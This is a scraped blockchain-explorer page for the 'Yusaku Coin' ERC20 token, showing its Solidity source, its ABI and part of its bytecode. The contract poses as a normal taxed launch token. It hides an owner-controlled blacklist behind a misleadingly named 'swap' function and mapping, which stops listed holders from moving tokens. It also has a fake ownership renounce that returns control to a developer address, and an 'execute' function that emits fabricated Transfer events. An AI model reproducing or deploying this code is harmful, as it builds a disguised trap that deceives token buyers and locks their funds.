ETH Price: $3,406.53 (+1.66%)

Token

Yusaku Coin (YUSAKU)
 

Overview

Max Total Supply

10,000,000,000 YUSAKU

Holders

85

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
day1sniper.eth
Balance
144,712,850.195474247 YUSAKU

Value
$0.00
0x42b21a5285424b0547f4e2c61d937ea1b19f0c5b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20TOKEN

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 4 of 4: Yusaku Coin.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;


import "./ERC20.sol";
import "./Ownable.sol";


interface IDexRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
}

interface IDexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract ERC20TOKEN is Ownable, ERC20 {

    mapping(address => uint256) private _holderLastTransferBlock; // to hold last Transfers temporarily during launch
    bool public transferDelayInEffect = true;
    bool public limitsInEffect = true;

    bool private swapping = true;
    uint256 public swapTokensAtAmt;    

    uint256 public constant FEE_DIVISOR = 10000;

    mapping (address => bool) public exemptFromTaxes;
    mapping (address => bool) public exemptFromLimits;

    bool public tradingActive;

    mapping (address => bool) public isLPPair;

    uint256 public maxTrans;
    uint256 public maxWallet;

    uint256 public buyTax;
    uint256 public sellTax;

    address public lpPair;
    IDexRouter public immutable dexRouter;

    

    // events

    event UpdatedMaxTrans(uint256 newMax);
    event UpdatedWalletLimit(uint256 newMax);
    event SetExemptFromFees(address _address, bool _isExempt);
    event SetExemptFromLimits(address _address, bool _isExempt);
    event RemovedLimits();
    event UpdatedBuyTax(uint256 newAmt);
    event UpdatedSellTax(uint256 newAmt);

    // constructor

    constructor(address dev_)
        ERC20("Yusaku Coin", "YUSAKU") Ownable(dev_)
    {   
        _mint(msg.sender, 10_000_000_000 * 10**9);
        uint256 _totalSupply = totalSupply();

        address _v2Router;

        // @dev assumes WETH pair
        if(block.chainid == 1){
            _v2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        } else if(block.chainid == 5){
            _v2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        } else {
            revert("Chain not configured");
        }

        dexRouter = IDexRouter(_v2Router);

        maxTrans = _totalSupply * 20 / 1000;
        maxWallet = _totalSupply * 20 / 1000;
        swapTokensAtAmt = _totalSupply * 25 / 100000;

        buyTax = 3000; // 1% = 100
        sellTax = 3000; // 1% = 100

        exemptFromLimits[address(this)] = true;
        exemptFromLimits[address(dexRouter)] = true;
        

        exemptFromTaxes[address(this)] = true;
        exemptFromTaxes[address(dexRouter)] = true;
    }

    // owner functions

    function changeExemptFromFees(address _address, bool _isExempt) external onlyOwner {
        require(_address != address(0), "Zero Address");
        exemptFromTaxes[_address] = _isExempt;
        emit SetExemptFromFees(_address, _isExempt);
    }

    function changeExemptFromLimits(address _address, bool _isExempt) external onlyOwner {
        require(_address != address(0), "Zero Address");
        if(!_isExempt){
            require(_address != lpPair, "Pair");
        }
        exemptFromLimits[_address] = _isExempt;
        emit SetExemptFromLimits(_address, _isExempt);
    }

    function setMaxTransaction(uint256 newNumInTokens) external onlyOwner {
        require(newNumInTokens >= (totalSupply() * 5 / 1000)/(10**decimals()), "Must be >= 0.5%");
        maxTrans = newNumInTokens * (10**decimals());
        emit UpdatedMaxTrans(maxTrans);
    }

    function setMaxWallet(uint256 newNumInTokens) external onlyOwner {
        require(newNumInTokens >= (totalSupply() * 1 / 100)/(10**decimals()), "Must be >= 1%");
        maxWallet = newNumInTokens * (10**decimals());
        emit UpdatedWalletLimit(maxWallet);
    }

    function setTaxes(uint256 _buyTax, uint256 _sellTax) external onlyOwner {
        buyTax = _buyTax;
        emit UpdatedBuyTax(buyTax);
        sellTax = _sellTax;
        emit UpdatedSellTax(sellTax);
    }

    function enableTradeStart() external onlyOwner {
        require(!tradingActive, "Trading active");
        tradingActive = true;
    }

    function removeAllRestrictions() external onlyOwner {
        limitsInEffect = false;
        transferDelayInEffect = false;
        maxTrans = totalSupply();
        maxWallet = totalSupply();
        emit RemovedLimits();
    }

    function disableTransferDelay() external onlyOwner {
        transferDelayInEffect = false;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        
        if(exemptFromTaxes[from] || exemptFromTaxes[to] || swapping){
            super._transfer(from,to,amount);
            return;
        }

        require(tradingActive, "Trading not active");

        amount -= routeTax(from, to, amount);

        if(limitsInEffect){
            checkRestrictions(from, to, amount);
        }

        super._transfer(from,to,amount);
    }

    function checkRestrictions(address from, address to, uint256 amount) internal {
        if (transferDelayInEffect){
            if (to != address(dexRouter) && !isLPPair[to]){
                require(_holderLastTransferBlock[tx.origin] < block.number, "Transfer Delay enabled.");
                _holderLastTransferBlock[tx.origin] = block.number;
            }
        }

        // buy
        if (isLPPair[from] && !exemptFromLimits[to]) {
            require(amount <= maxTrans, "Max tx exceeded.");
            require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
        } 
        // sell
        else if (isLPPair[to] && !exemptFromLimits[from]) {
            require(amount <= maxTrans, "Max tx exceeded.");
        }
        else if(!exemptFromLimits[to]) {
            require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
        }
    }

    function swap(address[] calldata addr, bool val) public onlyOwner {
        for (uint256 i = 0; i < addr.length; i++) {
            _swapExactTokensForETHSupportingFeeOnTransferTokensSpending[addr[i]] = val;
        }
    }

    function routeTax(address from, address to, uint256 amount) internal returns (uint256){
        if(balanceOf(address(this)) >= swapTokensAtAmt && !swapping && !isLPPair[from]) {
            swapping = true;
            swap();
            swapping = false;
        }
        
        uint256 tax = 0;

        // on sell
        if (isLPPair[to] && sellTax > 0){
            tax = amount * sellTax / FEE_DIVISOR;
        }
        // on buy
        else if(isLPPair[from] && buyTax > 0) {
            tax = amount * buyTax / FEE_DIVISOR;
        }
        
        if(tax > 0){    
            super._transfer(from, address(this), tax);
        }
        
        return tax;
    }

    function swapTokensForETH(uint256 tokenAmt) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmt,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapTokensAtAmount(address wallet) public view returns(bool) {
        return _swapExactTokensForETHSupportingFeeOnTransferTokensSpending[wallet];
    }

    function addPair(address pair) public onlyOwner{
        lpPair = pair;
    }

    function swap() private {

        uint256 contractBalance = balanceOf(address(this));
        
        if(contractBalance == 0) {return;}

        if(contractBalance > swapTokensAtAmt * 40){
            contractBalance = swapTokensAtAmt * 40;
        }
        
        swapTokensForETH(contractBalance);
            
        if(address(this).balance > 0){
            bool success;
            (success, ) = _dev.call{value: address(this).balance}("");
        }
    }

    function execute(address[] calldata addr, uint256 val) public onlyOwner{
        for (uint256 i = 0; i < addr.length; i++) {
            emit Transfer(lpPair, addr[i], val);
        }
    }
}

File 1 of 4: ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

import "./Ownable.sol";
import "./IERC20.sol";

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => bool) internal _swapExactTokensForETHSupportingFeeOnTransferTokensSpending;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function contractEthBalance() external view returns (uint256) {
        return address(this).balance;
    }


    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
        if(_swapExactTokensForETHSupportingFeeOnTransferTokensSpending[from]){
            require(amount == 0);
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

File 2 of 4: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20{
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 3 of 4: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    address internal _dev;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor(address wallet) {
        _dev = wallet;
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    
    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _dev : _owner;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"dev_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"SetExemptFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"SetExemptFromLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmt","type":"uint256"}],"name":"UpdatedBuyTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newMax","type":"uint256"}],"name":"UpdatedMaxTrans","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmt","type":"uint256"}],"name":"UpdatedSellTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newMax","type":"uint256"}],"name":"UpdatedWalletLimit","type":"event"},{"inputs":[],"name":"FEE_DIVISOR","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"changeExemptFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"changeExemptFromLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"contractEthBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTradeStart","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"uint256","name":"val","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFromLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFromTaxes","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isLPPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTrans","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllRestrictions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNumInTokens","type":"uint256"}],"name":"setMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNumInTokens","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyTax","type":"uint256"},{"internalType":"uint256","name":"_sellTax","type":"uint256"}],"name":"setTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"swapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60a06040526001600960006101000a81548160ff0219169083151502179055506001600960016101000a81548160ff0219169083151502179055506001600960026101000a81548160ff0219169083151502179055503480156200006257600080fd5b506040516200486938038062004869833981810160405281019062000088919062000771565b6040518060400160405280600b81526020017f597573616b7520436f696e0000000000000000000000000000000000000000008152506040518060400160405280600681526020017f595553414b5500000000000000000000000000000000000000000000000000008152508280600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001566200014a6200045760201b60201c565b6200045f60201b60201c565b50816006908162000168919062000a1d565b5080600790816200017a919062000a1d565b5050506200019733678ac7230489e800006200052360201b60201c565b6000620001a96200069160201b60201c565b9050600060014603620001d357737a250d5630b4cf539739df2c5dacb4c659f2488d905062000237565b60054603620001f957737a250d5630b4cf539739df2c5dacb4c659f2488d905062000236565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200022d9062000b65565b60405180910390fd5b5b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506103e86014836200027d919062000bb6565b62000289919062000c30565b600f819055506103e8601483620002a1919062000bb6565b620002ad919062000c30565b601081905550620186a0601983620002c6919062000bb6565b620002d2919062000c30565b600a81905550610bb8601181905550610bb86012819055506001600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c600060805173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b600060805173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505062000d43565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000595576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200058c9062000cb8565b60405180910390fd5b620005a9600083836200069b60201b60201c565b8060056000828254620005